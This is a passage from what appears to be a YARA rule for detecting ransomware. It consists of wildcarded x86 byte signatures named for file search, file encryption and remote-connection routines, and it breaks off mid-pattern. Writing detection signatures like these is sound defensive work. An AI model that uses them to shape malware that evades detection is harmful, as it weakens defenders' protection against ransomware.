?? ?? ?? ?? ?? C7 44 24 ?? ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B - 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 - EC ?? 85 C0 0F 95 C0 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ?? 8B - 45 ?? 8B 40 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 89 54 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 50 ?? 89 D0 C1 E0 ?? - 01 D0 01 C0 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? - ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 - A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? - ?? ?? ?? 8B 45 ?? 8B 40 ?? BA ?? ?? ?? ?? 8B 4D ?? 8B 5D ?? 39 DA 72 ?? 39 DA 77 ?? - 39 C8 76 ?? 89 C8 89 DA 89 45 ?? 8B 55 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4D ?? - 89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? - 83 F8 ?? 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 45 ?? 89 4C 24 ?? 89 - 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 C6 8B 45 ?? 89 C1 BB - ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 CF 31 C7 89 7D ?? 89 DF 31 D7 89 7D ?? 8B 45 ?? 0B - 45 ?? 85 C0 0F 94 C0 0F B6 C8 8B 55 ?? 8B 45 ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 89 - F0 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 - A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? A1 ?? ?? ?? ?? FF D0 89 45 ?? 8B 45 ?? 85 C0 - 79 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ?? - 8D 4D ?? 89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 - 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? 90 EB ?? 8B 4D ?? 8B 5D ?? - 8B 45 ?? BA ?? ?? ?? ?? 29 C1 19 D3 89 C8 89 DA 89 45 ?? 89 55 ?? 8B 45 ?? BA ?? ?? - ?? ?? 01 45 ?? 11 55 ?? 8B 45 ?? 8B 55 ?? 89 C6 83 F6 ?? 89 75 ?? 89 D0 80 F4 ?? 89 - 45 ?? 8B 55 ?? 8B 4D ?? 89 C8 09 D0 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 8B 45 ?? 85 C0 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 8B 45 ?? - 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 - 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? - ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 - EC ?? 8B 45 ?? 8D 65 ?? 5B 5E 5F 5D C2 - } - $encrypt_files_2 = { - 55 89 E5 56 53 81 EC ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 89 85 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 85 C0 0F 84 ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC ?? 84 C0 0F 84 ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 - 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF - D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 - 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 95 C0 84 C0 0F 84 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ?? - 8B 85 ?? ?? ?? ?? 80 F4 ?? 89 C3 8B 85 ?? ?? ?? ?? 80 F4 ?? 89 C6 89 F0 09 D8 85 C0 - 74 ?? 8B 45 ?? 8B 55 ?? 3B 95 ?? ?? ?? ?? 72 ?? 3B 95 ?? ?? ?? ?? 77 ?? 3B 85 ?? ?? - ?? ?? 76 ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 40 ?? - 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 8B 55 ?? 89 44 24 ?? C7 44 24 ?? - ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 50 ?? 89 D0 C1 E0 ?? 01 D0 01 C0 89 - 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 - 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? - FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 - ?? 8B 40 ?? BA ?? ?? ?? ?? 8B 4D ?? 8B 5D ?? 39 DA 72 ?? 39 DA 77 ?? 39 C8 76 ?? 89 - C8 89 DA 89 45 ?? 8B 4D ?? 8B 55 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 89 - 4C 24 ?? 89 54 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 F8 ?? 0F 94 - C0 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 45 ?? 89 4C 24 ?? 89 54 24 ?? 89 04 - 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 C1 BB ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? - 89 CE 31 C6 89 B5 ?? ?? ?? ?? 89 DE 31 D6 89 B5 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B B5 - ?? ?? ?? ?? 89 D8 09 F0 85 C0 0F 94 C0 88 45 ?? 8B 55 ?? 0F B6 4D ?? 8B 5D ?? 8B 45 - ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? - C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? A1 ?? ?? ?? - ?? FF D0 89 45 ?? 8B 45 ?? 85 C0 79 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 4D ?? - 8B 55 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 45 - ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? - ?? ?? 90 EB ?? 8B 4D ?? 8B 5D ?? 8B 45 ?? BA ?? ?? ?? ?? 29 C1 19 D3 89 C8 89 DA 89 - 45 ?? 89 55 ?? 8B 45 ?? BA ?? ?? ?? ?? 01 45 ?? 11 55 ?? 8B 45 ?? 8B 55 ?? 89 C6 83 - F6 ?? 89 B5 ?? ?? ?? ?? 89 D0 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B B5 ?? - ?? ?? ?? 89 F0 09 D8 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 9D ?? - ?? ?? ?? 8B B5 ?? ?? ?? ?? 89 F0 09 D8 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 2B - 45 ?? 1B 55 ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 40 ?? 89 C1 BB ?? ?? ?? ?? 8B 45 ?? 8B - 55 ?? 39 D3 72 ?? 39 D3 77 ?? 39 C1 76 ?? 89 C1 89 D3 89 4D ?? 8B 45 ?? C7 44 24 ?? - ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 - A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 F8 ?? 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B - 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4D ?? 89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? - 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? - ?? EB ?? 8B 45 ?? 8B 55 ?? 8B 4D ?? BB ?? ?? ?? ?? 29 C8 19 DA 89 45 ?? 89 55 ?? 8B - 45 ?? 8B 55 ?? 89 C3 80 F7 ?? 89 9D ?? ?? ?? ?? 89 D0 80 F4 ?? 89 85 ?? ?? ?? ?? 8B - 9D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 89 F0 09 D8 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? - 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B - 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8 - ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? - FF D0 83 EC ?? 8B 45 ?? 8D 65 ?? 5B 5E 5D C2 - } - $search_files = { - E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 95 C0 88 45 ?? 80 7D ?? ?? 74 ?? C7 44 24 ?? ?? ?? - ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? - 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 83 45 ?? ?? EB ?? A1 ?? - ?? ?? ?? FF D0 89 C3 C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 - 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 89 1C 24 89 C1 E8 ?? ?? ?? ?? 83 EC - ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 - ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 8B 45 ?? 89 - C1 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 89 D9 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - 89 1C 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 - ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 89 C1 - E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 90 8D 85 - ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 95 - C0 84 C0 74 ?? E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? - ?? ?? A1 ?? ?? ?? ?? FF D0 89 C3 C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 89 1C 24 89 C1 E8 ?? ?? - ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? - ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 - 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 - ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 05 ?? - ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 74 ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 84 C0 - 74 ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 C2 8B 85 ?? ?? ?? ?? 89 14 24 89 C1 - E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 89 C2 8B 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 - ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? - ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 - } - $search_files_2 = { - FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 89 C3 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 81 C2 ?? ?? ?? ?? 8B 42 ?? - 83 E0 ?? 83 C8 ?? 89 42 ?? 89 1C 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 C3 8B - 00 89 DA 03 50 ?? 8B 42 ?? 83 E0 ?? 83 C8 ?? 89 42 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? - ?? ?? 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? - ?? 83 EC ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BB ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? - 89 04 24 89 D9 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 - ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 - 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ?? - ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 - } - $remote_connection = { - 55 89 E5 53 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 44 24 ?? C7 - 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F0 ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 - ?? ?? ?? ?? 8B 45 ?? 8B 00 89 45 ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 8D 45 - ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? - 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 45 ?? 83 7D ?? ?? 74 ?? 81 7D ?? ?? ?? - ?? ?? 75 ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 39 45 ?? 77 ?? 8D 45 ?? - 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 8D 45 ?? 8D 4D ?? 89 4C 24 ?? 89 14 24 89 C1 E8 - ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8D 50 ?? 8D 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC - ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 83 45 ?? ?? 83 45 ?? - ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 81 7D ?? ?? ?? ?? ?? 75 ?? E9 ?? - ?? ?? ?? 8D 45 ?? 83 C0 ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 8B 45 ?? - 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 50 ?? 8D 45 ?? 89 04 24 89 D1 E8 - ?? ?? ?? ?? 83 EC ?? 8B 45 ?? 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 90 8D 45 ?? 89 - C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89 - C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 89 D8 89 04 24 E8 ?? ?? - ?? ?? 90 8B 5D ?? C9 C2 - } - $remote_connection_2 = { - 55 89 E5 57 56 53 83 EC ?? 89 4D ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 45 ?? 89 44 24 ?? C7 04 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8B 03 89 45 ?? EB ?? 83 EC ?? 89 45 ?? 85 C0 74 ?? 3D ?? ?? - ?? ?? 74 ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89 - 44 24 ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24 - ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 83 7D ?? ?? - 74 ?? BE ?? ?? ?? ?? 8D 7D ?? EB ?? 83 EC ?? 8D 45 ?? 89 04 24 8D 4D ?? E8 ?? ?? ?? - ?? 83 EC ?? 8B 45 ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C6 ?? 39 75 ?? 72 ?? 8B - 45 ?? 8B 5C B0 ?? 89 7D ?? B8 ?? ?? ?? ?? 85 DB 74 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 04 - 43 C6 44 24 ?? ?? 89 44 24 ?? 89 1C 24 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04 - 24 E8 ?? ?? ?? ?? 83 EC ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? C1 F8 ?? 69 C0 ?? ?? ?? - ?? 85 C0 74 ?? 8B 7D ?? 8D 9F ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 47 ?? 3B 47 ?? - 74 ?? 85 C0 74 ?? 8B 55 ?? 89 10 8D 48 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? - 8B 45 ?? 83 40 ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 8D 45 ?? 89 04 - 24 E8 ?? ?? ?? ?? 83 EC ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2 - } - $encrypt_files_3 = { - 55 57 56 53 83 EC ?? 8B 41 ?? 85 C0 75 ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? - ?? BE ?? ?? ?? ?? 89 F0 83 C4 ?? 5B 5E 5F 5D C2 ?? ?? 89 CB C7 44 24 ?? ?? ?? ?? ?? - 8D 54 24 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 FF - 15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C7 BE ?? ?? - ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? - ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C2 89 44 24 ?? - 83 F8 ?? 74 ?? 8D 44 24 ?? 89 44 24 ?? 89 14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85 - C0 75 ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ?? - 83 EC ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 F6 0F 84 ?? ?? ?? ?? 8B - 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 89 44 24 ?? 89 54 24 ?? 8B 43 ?? 89 04 - 24 E8 ?? ?? ?? ?? 89 44 24 ?? 8B 73 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 - E8 ?? ?? ?? ?? 8D 04 B6 01 C0 89 44 24 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C5 C7 44 24 ?? - ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 - 44 24 ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 - ?? 8B 54 24 ?? 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 89 7C 24 ?? 89 C6 89 D7 89 5C 24 ?? E9 - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? 89 5C 24 ?? 8B 44 24 ?? - 89 44 24 ?? 8B 4C 24 ?? 89 0C 24 FF 54 24 ?? 83 EC ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 89 - 5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? C7 - 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 89 44 24 ?? 89 6C 24 ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 DA 31 F2 09 FA 0F 94 C0 0F B6 C0 89 44 24 ?? C7 44 24 ?? ?? - ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C3 FF 15 ?? ?? ?? ?? 85 - C0 78 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 - 6C 24 ?? 8B 4C 24 ?? 89 0C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 2B 74 24 ?? 1B - 7C 24 ?? 89 FA 09 F2 74 ?? 8B 44 24 ?? 8B 58 ?? B8 ?? ?? ?? ?? 39 F8 0F 82 ?? ?? ?? - ?? 39 F3 0F 47 DE E9 ?? ?? ?? ?? 8B 7C 24 ?? 89 DE EB ?? 8B 7C 24 ?? BE ?? ?? ?? ?? - 85 ED 74 ?? 89 2C 24 E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 89 04 24 E8 - ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? BE ?? ?? ?? ?? EB - } - $encrypt_files_4 = { - FF 15 ?? ?? ?? ?? 83 EC ?? 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 - 34 24 89 54 24 ?? 89 44 24 ?? 89 4C 24 ?? FF 95 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 29 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 19 95 ?? ?? ?? ?? 8B - 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 D0 89 CA 09 C2 0F 84 ?? ?? ?? ?? 31 D2 3B 95 ?? - ?? ?? ?? 8B 43 ?? 89 